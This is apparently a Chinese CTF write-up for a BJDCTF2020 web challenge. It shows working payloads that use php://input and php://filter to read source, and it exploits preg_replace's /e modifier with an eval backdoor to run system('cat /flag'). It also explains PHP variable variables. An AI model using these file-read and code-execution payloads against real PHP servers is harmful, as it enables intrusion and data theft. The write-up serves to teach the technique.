• [BJDCTF2020]ZJCTF,不过如此


    [BJDCTF2020]ZJCTF,不过如此

    题目源码

    <?php
    
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            die("Not now!");
        }
    
        include($file);  //next.php
        
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

    伪协议可以读取next.php内容,payload:

    /?text=php://input&file=php://filter/read=convert.base64-encode/resource=./next.php
    
    结果
    <br><h1>I have a dream</h1></br>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
    

    base64解密得到

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "
    ";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    
    

    注意到preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\1")

    preg_replace
    (PHP 4, PHP 5, PHP 7)
    
    preg_replace — 执行一个正则表达式的搜索和替换
    
    说明
    preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
    搜索subject中匹配pattern的部分, 以replacement进行替换。
    

    相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 1 ,而 1 在正则表达式中有自己的含义

    反向引用

    对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ' ' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

    这里的 1 实际上指定的是第一个子匹配项

    构造payload:

    /?.*=${执行的命令}
    
    preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);
    原先的语句,
    preg_replace('/(.*)/ei','strtolower("\1")',${执行的命令});
    之后的语句
    或者构造语句
    preg_replace('/(S*)/ei','strtolower("\1")',${执行的命令});
    
    表达式 .* 就是单个字符匹配任意,即贪婪匹配。 表达式 .*? 是满足条件的情况只匹配一次,即最小匹配.
    s    匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于 [ f
    
    	v]。注意 Unicode 正则表达式会匹配全角空格符。   
    S    匹配任何非空白非打印字符。等价于 [^ f
    
    	v]。    
    

    payload有几种:

    next.php?S*=${getFlag()}&cmd=system('cat+/flag');
    
    next.php?S*=${getflag()}&cmd=show_source('/flag');
    
    next.php?S%2b=${getFlag()}&cmd=system('cat+/flag');
    

    注意 我们之前构造了一种payload

    preg_replace('/(.*)/ei','strtolower("1")',${执行的命令});

    发现无法使用,原因是这里的$re部分是由Get传入,当以非法字符开头的参数就会自动转为下划线,导致匹配失败

    所以不能使用,如果不用Get传参可以执行

    至于为什么${执行的命令}

    在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)

    var_dump(phpinfo()); // 结果:布尔 true
    var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
    var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
    
    var_dump(preg_replace('/(.*)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串''
    var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
    这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
    

    要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。

    类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。

    <?php
    $a = 'hello';?>
    

    一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:

    <?php
    $$a = 'world';?>
    

    这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:

    <?php
    echo "$a ${$a}";?>
    

    与以下语句输出完全相同的结果:

    <?php
    echo "$a $hello";?>
    

    它们都会输出:hello world。

    参考:

    https://xz.aliyun.com/t/2557

    https://blog.csdn.net/qq_43622442/article/details/106018883

    https://www.cnblogs.com/wangtanzhi/p/12328083.html

    https://www.php.net/manual/zh/language.variables.variable.php

  • 相关阅读:
    读书笔记-《编写可读代码的艺术》一
    maven报错Error:(4, 35) java:程序包org.springframework.context不存在
    AutoCAD.Net/C#.Net QQ群:193522571 当需要把wipeout加入到block中时,必须把wipeout放在objectidcollection中的第一位
    AutoCAD.Net/C#.Net QQ群:193522571 绘制椭圆及椭圆弧
    AutoCAD.Net/C#.Net QQ群:193522571 Nested Select后,如果有上一级图元则ResultNestedContainer不为Null,从小到大,从父亲到爷爷
    AutoCAD.Net/C#.Net QQ群:193522571 标注对象Dimension中的DimensionText和Measurement的区别
    AutoCAD.Net/C#.Net QQ群:193522571 同一套窗体代码,同时用在Winform、PvBox和PvTools中
    AutoCAD.Net/C#.Net QQ群:193522571 当用户使用的不是默认的WCS坐标系时,打印程序容易打成空白,因为点没有转换
    AutoCAD.Net/C#.Net QQ群:193522571 ComBobox绑定Datatable并去除重复!
    AutoCAD.Net/C#.Net QQ群:193522571 字段包含于一个字符串的SQL
  • 原文地址:https://www.cnblogs.com/LLeaves/p/13275949.html
Copyright © 2020-2023  润新知